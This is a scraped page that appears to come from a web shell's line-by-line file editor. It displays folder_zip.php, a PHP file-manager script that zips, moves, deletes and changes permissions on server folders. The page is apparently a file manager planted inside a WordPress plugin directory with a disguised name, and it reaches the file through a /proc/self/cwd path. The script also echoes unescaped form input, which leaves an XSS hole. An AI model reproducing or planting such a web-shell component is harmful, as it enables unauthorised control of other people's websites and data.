Edit File by line
/home/barbar84/public_h.../wp-conte.../plugins/sujqvwi/AnonR/anonr.TX.../proc/self/root/proc/self/cwd
File: folder_zip.php
<?php
[0] Fix | Delete
function customExceptionHandler($exception) {
[1] Fix | Delete
[2] Fix | Delete
echo '<div style="font-family: Arial, sans-serif; padding: 10px; background-color: #f8d7da; border: 1px solid #f5c6cb; color: #721c24;">';
[3] Fix | Delete
echo '<strong>ERROR:</strong> This feature is not available';
[4] Fix | Delete
echo '</div>';
[5] Fix | Delete
[6] Fix | Delete
}
[7] Fix | Delete
[8] Fix | Delete
function customErrorHandler($errno, $errstr, $errfile, $errline) {
[9] Fix | Delete
[10] Fix | Delete
echo '<div style="font-family: Arial, sans-serif; padding: 10px; background-color: #f8d7da; border: 1px solid #f5c6cb; color: #721c24;">';
[11] Fix | Delete
echo '<strong>ERROR:</strong> This feature is not available';
[12] Fix | Delete
echo '</div>';
[13] Fix | Delete
[14] Fix | Delete
}
[15] Fix | Delete
[16] Fix | Delete
[17] Fix | Delete
set_exception_handler('customExceptionHandler');
[18] Fix | Delete
set_error_handler('customErrorHandler');
[19] Fix | Delete
[20] Fix | Delete
[21] Fix | Delete
include_once 'function.php';
[22] Fix | Delete
[23] Fix | Delete
[24] Fix | Delete
$title = 'extract zip Folder';
[25] Fix | Delete
[26] Fix | Delete
include_once 'header.php';
[27] Fix | Delete
[28] Fix | Delete
echo '<div class="title">' . $title . '</div>';
[29] Fix | Delete
[30] Fix | Delete
if ($dir == null || $name == null || !is_dir(processDirectory($dir . '/' . $name))) {
[31] Fix | Delete
echo '<div class="list"><span>The path does not exist</span></div>
[32] Fix | Delete
<div class="title">Function</div>
[33] Fix | Delete
<ul class="list">
[34] Fix | Delete
<li><img src="icon/list.png"/> <a href="index.php' . $pages['paramater_0'] . '">List</a></li>
[35] Fix | Delete
</ul>';
[36] Fix | Delete
} else {
[37] Fix | Delete
$dir = processDirectory($dir);
[38] Fix | Delete
[39] Fix | Delete
if (isset($_POST['submit'])) {
[40] Fix | Delete
echo '<div class="notice_failure">';
[41] Fix | Delete
[42] Fix | Delete
if (empty($_POST['name']) || empty($_POST['path']))
[43] Fix | Delete
echo 'Not fully entered information';
[44] Fix | Delete
else if (isset($_POST['is_delete']) && processDirectory($_POST['path']) == $dir . '/' . $name)
[45] Fix | Delete
echo 'If you choose Delete Folder, you cannot save the Compressed source file there';
[46] Fix | Delete
else if (isPathNotPermission(processDirectory($_POST['path'])))
[47] Fix | Delete
echo 'You cannot Compressed source File zip to File Manager s path';
[48] Fix | Delete
else if (isNameError($_POST['name']))
[49] Fix | Delete
echo 'File name zip illegal';
[50] Fix | Delete
else if (!zipdir($dir . '/' . $name, processDirectory($_POST['path'] . '/' . processName($_POST['name'])), isset($_POST['is_delete']) == 1))
[51] Fix | Delete
echo 'extract zip Folder failure';
[52] Fix | Delete
else
[53] Fix | Delete
goURL('index.php?dir=' . $dirEncode . $pages['paramater_1']);
[54] Fix | Delete
[55] Fix | Delete
echo '</div>';
[56] Fix | Delete
}
[57] Fix | Delete
[58] Fix | Delete
echo '<div class="list">
[59] Fix | Delete
<span class="bull">&bull; </span><span>' . printPath($dir . '/' . $name, true) . '</span><hr/>
[60] Fix | Delete
<form action="folder_zip.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '" method="post">
[61] Fix | Delete
<span class="bull">&bull; </span>Compressed file name:<br/>
[62] Fix | Delete
<input type="text" name="name" value="' . (isset($_POST['name']) ? $_POST['name'] : $name . '.zip') . '" size="18"/><br/>
[63] Fix | Delete
<span class="bull">&bull; </span>Save path:<br/>
[64] Fix | Delete
<input type="text" name="path" value="' . (isset($_POST['path']) ? $_POST['path'] : $dir) . '" size="18"/><br/>
[65] Fix | Delete
<input type="checkbox" name="is_delete" value="1"/> Delete Folder<br/>
[66] Fix | Delete
<input type="submit" name="submit" value="Compressed source"/>
[67] Fix | Delete
</form>
[68] Fix | Delete
</div>
[69] Fix | Delete
<div class="title">Function</div>
[70] Fix | Delete
<ul class="list">
[71] Fix | Delete
<li><img src="icon/rename.png"/> <a href="folder_edit.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Rename</a></li>
[72] Fix | Delete
<li><img src="icon/copy.png"/> <a href="folder_copy.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Copy</a></li>
[73] Fix | Delete
<li><img src="icon/Copy.png"/> <a href="folder_Copy.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Move</a></li>
[74] Fix | Delete
<li><img src="icon/delete.png"/> <a href="folder_delete.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Delete</a></li>
[75] Fix | Delete
<li><img src="icon/access.png"/> <a href="folder_chmod.php?dir=' . $dirEncode . '&name=' . $name . $pages['paramater_1'] . '">Chmod</a></li>
[76] Fix | Delete
<li><img src="icon/list.png"/> <a href="index.php?dir=' . $dirEncode . $pages['paramater_1'] . '">List</a></li>
[77] Fix | Delete
</ul>';
[78] Fix | Delete
}
[79] Fix | Delete
[80] Fix | Delete
include_once 'footer.php';
[81] Fix | Delete
[82] Fix | Delete
[83] Fix | Delete
?>
[84] Fix | Delete
It is recommended that you Edit text format, this type of Fix handles quite a lot in one request
Function